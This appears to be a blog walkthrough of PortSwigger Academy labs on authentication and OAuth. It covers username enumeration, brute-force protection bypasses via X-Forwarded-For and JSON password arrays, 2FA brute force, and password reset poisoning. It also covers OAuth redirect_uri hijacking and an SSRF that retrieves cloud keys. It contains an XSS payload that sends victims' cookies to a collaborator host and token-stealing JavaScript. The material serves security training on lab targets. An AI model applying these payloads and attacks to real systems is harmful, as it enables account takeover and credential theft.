Authentication - [PortSwigger]

Cover Image for Authentication - [PortSwigger]

Table of Contents


    In this post there is a compilation of every apprentice and practitioner lab related to the authentication topic from PortSwigger Academy.

    Username enumeration via different responses [Apprentice]

    Using the list of usernames and passwords, we can use intruder in sniper mode to know the credentials. First, look for the user and then look for the password.

    username=§USERNAME§&password=PASSWORD => am (Check the length)
    username=am&password=§PASSWORD§ => freedom (Check the status code)

    However, another method would be the use of the cluster bomb to make a huge brute-force attack that will take longer than the previous one.

    Username enumeration via subtly different responses [Practitioner]

    Doing the same procedure, adding "Invalid username or password." at the Options/Grep - Match and checking flag result items with responses matching these expressions, we can obtain the username "agent".

    Finally, in the same way as the previous lab, we obtained the password "michael" by ordering the status code.

    Username enumeration via response timing [Practitioner]

    First of all, making a brute force attack makes us banned from the website, getting the following text "You have made too many incorrect login attempts. Please try again in 30 minute(s)".

    Using the hint, it says that in order to bypass the ban, we need to use some headers. In order to discover which headers we need, I used the wordlist SecLists/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers, adding the IP as value.

    After intruder completed, we obtained that the header was X-Forwarded-For.

    Fuzzing headers

    Now, we can perform the username enumeration by setting a Pitchfork attack with the following positions.

    POST /login HTTP/1.1
    X-Forwarded-For: 127.0.0.§1§

    As the first position will be a list of numbers that we can obtain by setting the "Payload type" to numbers and using the following parameters.

    Number range

    Once, the attack is completed, we need to go to columns and add the columns "Response received" and "Response completed". Ordering by "Response completed" we can see that with the user "ec2-user" took longer than the rest.

    Then, doing the same procedure with the password we retrieve the password "monitor".

    Finally, intercept another login request with the correct credentials and add the header in order to gain access and complete the lab.

    Broken brute-force protection, IP block [Practitioner]

    First of all, we need to know how many wrong credentials we need to submit before getting blocked by the application. In this case, it was three times.

    Then, to avoid getting banned, we need to permutate between a correct and incorrect credential. For doing so, we are going to use the Pitchfork attack, setting as the first payload the usernames "wiener" and "carlos", in that order; and for the second payload a wordlist with the word "peter" after each possible correct password.

    This last thing can be achieved with the following commands:

    sed -e 's/$/\npeter/' -i password.txt # password should contain the passwords from the previous exercises
    sed -i '1s/^/peter\n/' password.txt 
    python -c "print(('wiener\ncarlos\n'*$(wc -l password.txt | cut -d' ' -f 1))[:-1])" > usernames.txt

    Then, because the attack must be executed in a sequential way, we need to set the pool of concurrent requests to one.

    Finally, if everything went as expected we should see a response with a 302 status code, leading to the password "princess".

    Username enumeration via account lock [Practitioner]

    First, we need to detect the username, so we need to perform a cluster bomb attack using the whole list of usernames and trying four random passwords (The amount of failed login attempts to block an account).

    Once the attack has completed, you should see a response for a user with a different length, with the text "You have made too many incorrect login attempts. Please try again in 1 minute(s)."

    Finally, by doing a snipper attack using the password wordlist, we can retrieve the password order by the length of the response because the response doesn't contain "You have made too many incorrect login attempts. Please try again in 1 minute(s)." or "Invalid username or password.".

    Note: Another way to achieve this goal is to use the Grep - Extract option.

    Broken brute-force protection, multiple credentials per request [Practitioner]

    As the name of the lab subjects, this lab is about to upload several credentials per request. So looking at the login request, we can see a JSON file.

    POST /login HTTP/1.1

    Because it is a JSON string, we could append all the passwords as a list so the system can check every password in just one request, avoiding the ban.

    In order to put all the passwords as a one-line, you can use the following command.

    awk '{printf "\"%s\",",$1}' /media/sf_PortSwigger/Authentication/password.txt 

    After that, the JSON should look like this.


    Finally, forward the request, completing the lab.

    Bypassing two-factor authentication [Practitioner]

    In this lab, we are in a strange stage between submitting the credentials and sending the 2FA code, so using the browser, we can access my-account, passing the lab.

    Alternatively, we can intercept the GET request to /login2 after sending the credentials and change it to my-account.

    2FA broken logic [Practitioner]

    First, we need to analyse how a 2FA is being requested on the server. To do so, we can use the wiener account.

    As you can see in the GET request to /login2 there is a cookie with the user that we want to authenticate, so by forwarding the request, we obtain an email with a 4-digit number.

    GET /login2 HTTP/1.1
    Host: [CENSORED]
    Cookie: session=[CENSORED]; verify=wiener

    Hence, if we change the verified username for Carlos, a verification code will be generated. However, we can not obtain it, so we will have to brute force it with the intruder.

    Intercept the POST request to login2 and use a number between 1000 and 2000, so you do not have to brute force everything.

    POST /login2 HTTP/1.1
    Host: [CENSORED]
    Cookie: session=[CENSORED]; verify=carlos

    Once obtained the number, we can log in as Carlos.

    POST /login2 HTTP/1.1
    Host: [CENSORED]
    Cookie: [CENSORED]; verify=carlos
    kali@kali:~$ curl -s -D - -o /dev/null -X POST -d "username=wiener&password=peter&stay-logged-in=on" https://<LAB_ID>
    HTTP/1.1 302 Found
    Location: /my-account
    Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
    Set-Cookie: session=XZj6POr9Rh8Rx1nbPm5dx6v4horhqoZI; Secure; HttpOnly; SameSite=None
    Connection: close
    Content-Length: 0
    • -s hides the progress bar
    • -D - dump headers to stdout indicated by -
    • -o /dev/null send output (HTML) to /dev/null, essentially ignoring it

    As we can see in the response, there is a stay-logged-in cookie. This cookie can be decoded in base64, turning out to be a combination of the username plus the password hashed with md5.

    kali@kali:~$ echo -n d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw | base64 -d
    kali@kali:~$ hashid 51dc30ddc473d43a6011e9ebba6ca770
    Analyzing '51dc30ddc473d43a6011e9ebba6ca770'
    [+] MD2 
    [+] MD5
    kali@kali:~$ echo -n peter | md5sum
    51dc30ddc473d43a6011e9ebba6ca770  -

    Then, trying to access /my-account without the cookie set, we obtain a 302. However, if we add the earlier cookie, we obtain a 200.

    GET /my-account HTTP/1.1
    Host: <
    Cookie: session=TP2wQk6VbhDIPv0DoNaA5D3bDZZq1QXt; stay-logged-in=
    HTTP/1.1 302 Found
    Location: /login
    Set-Cookie: session=AxMWxl8zpoPuMNVMTNoBc9mITNo8Othv; Secure; HttpOnly; SameSite=None
    Connection: close
    Content-Length: 0
    HTTP/1.1 200 OK
    Content-Type: text/html; charset=utf-8
    Cache-Control: no-cache
    Set-Cookie: session=8nIGVjGSiPrTmLsoBhwzeGS2yTqlR5gJ; Secure; HttpOnly; SameSite=None
    Connection: close
    Content-Length: 3056

    Then, we can use intruder to select the value of the stay-logged-in cookie, using the passwords list and adding the following payload processes:

    • Hash: MD5
    • Add Prefix: "carlos:"
    • Base64-encode

    Offline password cracking [Practitioner]

    This lab is the same as before. However, we need to obtain the stay-logged-in cookie exploiting an XSS vulnerability in the comments section. That is why we need the exploit.

    The comment field is vulnerable to XSS. Using collaborator, we can obtain Carlos's cookie with the following payload.

    <script>document.write('<img src="http://<COLABORATOR_DOMAIN>/'+document.cookie+'"/>')</script>

    Once you submit the payload and wait for a bit, you should see an HTTP request with a scret coosecret

    GET /secret=DAkPS1NjXi4tngmNe99NBz4KXJ3Z3QZz;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1

    Decoding the stay-logged-in, we obtain the following.

    echo -n Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz | base64 -d

    Using crackstation we can obtain that the password is "onceuponatime", solving the lab.

    Password reset broken logic [Apprentice]

    Intercepting the whole "Forgot password?" we can see that at the reset password form appears the username of the user whose password is going to be changed.

    POST /forgot-password?temp-forgot-password-token=rEAyzxHlurjVqVCN7DyJVI3DowpZSMNT HTTP/1.1
    Host: <LAB_ID>

    Hence, by doing the same procedure but changing the username to "carlos" changed, we can access as Carlos with the password that we have just changed.

    Password reset poisoning via middleware [Practitioner]

    If the X-Forwarded-Host header is set, it will put the domain in the generated domain link. For instance, if the domain is "", the generated link will be ""

    To solve this lab, use X-Forwarded-Host: in the POST request /forgot-password using the collaborator domain and set the username to Carlos, so once Carlos clicks on the mail, the request is forwarded to our server.

    Basic password reset poisoning [Apprentice]

    Same as beofre.

    Password reset poisoning via dangling markup [Expert]

    In the form /forgot-password, the value of the HTTP header Host: is used to generate the password recovery link in the email sent to the victim. However, if we change the host, the application crashes. But if we add information in the port, the result will be passed on without any problem.

    As an example, setting "host" as a port.


    The response contains "host" on the recovery link.

     <a href=&apos;https://<LAB_ID>;>

    After some trial and error, the server uses ' to append the host value. Thus, this can be used to append HTML code.





    Despite not having sense, adding the payload with a burp suite collaborator domain.

    Host:'<a href="http://<BURP_COLLABORATOR>/?

    The email obtained has no URL.


    Nonetheless, doing the same thing for the user Carlos, it is possible to obtain Carlos' password on the collaborator panel

    Final request.

    POST /forgot-password HTTP/1.1
    Host: <LAB_ID>'<a href="http://<BURP_COLLABORATOR>/?

    Password brute-force via password change [Practitioner]

    What happens is that if you change your password correctly, your SESSION cookie is disabled, so you can not perform any brute force attack. However, if the "New password" and "Confirm new password" are not the same, you get an error. This error can be used to brute force the password.

    Intercept the change password query containing different passwords and modify it like so.

    POST /my-account/change-password HTTP/1.1

    Then, use the passwords&#x27; list to perform the brute force attack.

    Once completed, order by length, obtaining a row with a length of 3945, obtaining the carlos' flag.

    Authentication bypass via OAuth implicit flow [Apprentice]

    Intercepting all the requests with Burp, we can see that in the /me request to the OAuth server; some user data is obtained. Later in the POST /authenticate request, the username and email are sent with a token. Nonetheless, the application doesn't check if the token is for the user who did the OAuth process.

    Hence, we can change the username and email for Carlos'. Passing the lab.

    Forced OAuth profile linking [Practitioner]

    Once logged into the application, there is a "Attach a social profile" button where we can connect a social profile to our account so we can log in directly using our social profile.

    Intercepting all the requests, after clicking on "Attach a social profile", we can see the authentication process at the "oauth" server. After that, we need to accept the use of our data to be used by the vulnerable application.

    After some more requests, there is a request to the application endpoint /oauth-linking with a code sent as a parameter. This code allows the application to be linked to the social media account.

    However, this code can only be used once, so you must drop the request to send it to the victim.

    This last thing can be done through the exploit server with the following payload and pressing "Deliver exploit to the victim".

    <img src="<LINK>">

    OAuth account hijacking via redirect_uri [Practitioner]

    After linking our OAuth account with the application and logging out, we need to log in and intercept all the requests.

    In the GET request to /auth there are several parameters. One of them is redirect_uri. If we send this request to the repeater, we can mess with the redirect_uri redirecting the response to whatever domain we want.

    For instance, if the value of redirect_url is the response will look like this.

    HTTP/1.1 302 Found
    X-Powered-By: Express
    Pragma: no-cache
    Cache-Control: no-cache, no-store
    Content-Type: text/html; charset=utf-8
    Set-Cookie: _session=oPENjc_hXzT4DtIx7ChOs; path=/; expires=Tue, 20 Sep 2022 16:37:21 GMT; samesite=none; secure; httponly
    Set-Cookie: _session.legacy=oPENjc_hXzT4DtIx7ChOs; path=/; expires=Tue, 20 Sep 2022 16:37:21 GMT; secure; httponly
    Date: Tue, 06 Sep 2022 16:37:21 GMT
    Connection: close
    Content-Length: 163
    Redirecting to <a href=""></a>.

    Hence, we can deliver the exploit to the victim with a malicious URL, obtaining the Administrator code.

    # Exploit server payload
    <img src="https://oauth-[...]/auth?client_id=[...]&redirect_uri=https://exploit-[...]&response_type=code&scope=openid%20profile%20email">

    Once the code is obtained through the log server.      2022-09-06 16:40:31 +0000 "GET /exploit/ [....]"      2022-09-06 16:40:31 +0000 "GET /?code=o4a8vSLOGjHrTPj80A4Vtf0gBsvfWHqaY5uaU8Mbuey [....]

    We need to log in one more time to intercept the login requests.

    Then, change the value of the code parameter in the /oauth-callback request by the value obtained earlier.

    Stealing OAuth access tokens via an open redirect [Practitioner]

    After being logged in and logged out for the first time in the web application, if we log in once more, there will be a GET request to /auth with the parameter &redirect_uri. In the response will appear the URL sent as the value of the redirect_uri.

    GET /auth?client_id=ljlmw5fgfbthcdjygqku5&redirect_uri=https://<LAB_ID> HTTP/1.1
    Host: oauth-<OAUTH_ID>
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://<LAB_ID>
    Upgrade-Insecure-Requests: 1
    Connection: close

    There are some security mechanisms implemented over the redirect_uri because it only allows URLs that contain <APPLICATION_ID> Nonetheless, the URL path can be modified, so instead of /oauth-callback/, the path could be /oauth-callback/../post?postId=3 .

    Furthermore, there is an Open Redirect on the application on the "Next post" button.

    GET /post/next?path= HTTP/1.1
    Connection: close
    HTTP/1.1 302 Found
    Connection: close
    Content-Length: 0

    The payload should look like this.


    Executing the URL on the browser, we obtain the following URL, obtaining the access_token.


    However, submitting the URL for the victim doesn't work, we only obtain /exploit.

    So, to obtain the access_token is needed a JavaScript code that obtains the data after the "#" and sends it as a URL parameter.

        if (!document.location.hash) {
            window.location = '<PAYLOAD_URL>'
        } else {
            window.location = '/?'+document.location.hash.substr(1)

    After delivering the exploit to the victim, we obtain the victim's access token.

    This token is used in the POST request to /authenticate.

    POST /authenticate HTTP/1.1
    Host: <LAB_ID>

    To obtain the administrator's API, we only need to send a GET request to /me, with the administrator's access_token.

    curl https://oauth-<OAUTH_ID>< -H "Authorization: Bearer M8iC-rLovDfPdTJw6n5OqvwwfwRAAmNRQikwRAyd20A"

    SSRF via OpenID dynamic client registration [Practitioner]

    First, check the following endpoints to obtain information about how to register an application against an OAuth server.


    The following interesting information is obtained.

    curl -s https://oauth-<OAUTH_ID> | jq
      "issuer": "https://oauth-<OAUTH_ID>",
      "jwks_uri": "https://oauth-<OAUTH_ID>",
      "registration_endpoint": "https://oauth-<OAUTH_ID>"

    To register an application, it is needed to perform the following request, getting a new client_id.

    kali@kali:/tmp$ curl -k -X POST -H "Content-Type: application/json" 
    -d '{
        "application_type": "web",
        "redirect_uris": [
        "client_name": "My Application",
         "logo_uri": "<BURP_COLLABORATOR_URL>"
    -x http://localhost:8080 | jq
     "client_id": "c4KqeQdbUxBCErKp9YcX0",

    Then, if we try to recover the application's logo, it is obtained a response on Burp Collaborator.

    curl -k https://oauth-<OAUTH_ID> -x http://localhost:8080

    Hence, to perform an SSRF attack only is necessary to perform the same process but using the URL of the statement.

    Finally, we only need to submit the SecretAccessKey.

    kali@kali:/tmp$ curl -k https://oauth-<OAUTH_ID> -x http://localhost:8080
      "Code" : "Success",
      "LastUpdated" : "2022-09-14T20:29:09.995889767Z",
      "Type" : "AWS-HMAC",
      "AccessKeyId" : "pT5j7t6CJJ5BYhCHmnGz",
      "SecretAccessKey" : "5PZL7ImONUDWcAAWEcROGQgyO2UrF5n2xb7HvqPW",
      "Token" : "NcYrzYLy7Vw2SH2D7TWUrMomAPLvenWzVF1KtdjRNBTQeVydygj3kKdKy42uQBKfaYDU7uXc6YRo4krVKeEcAdhaQMzOUBUu63snr52GNTyZwwAyUav1MSZ49ehPgnmCeQ2GHbjmZfxrJCaDqLl3BlsrbAlnIur6GSWwS1Auy826L8W0LpOW0UBn2tR7Hyq4M31Vsxz3h8F9bXGOAgBFGiDpskf8osP3Bj6GlSl6NuzSEzXqfgiajadIDuuUFcJl",
      "Expiration" : "2028-09-12T20:29:09.995889767Z"